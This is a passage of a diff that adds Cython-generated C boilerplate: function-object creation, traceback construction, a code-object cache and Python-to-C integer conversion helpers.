(__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__43); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if 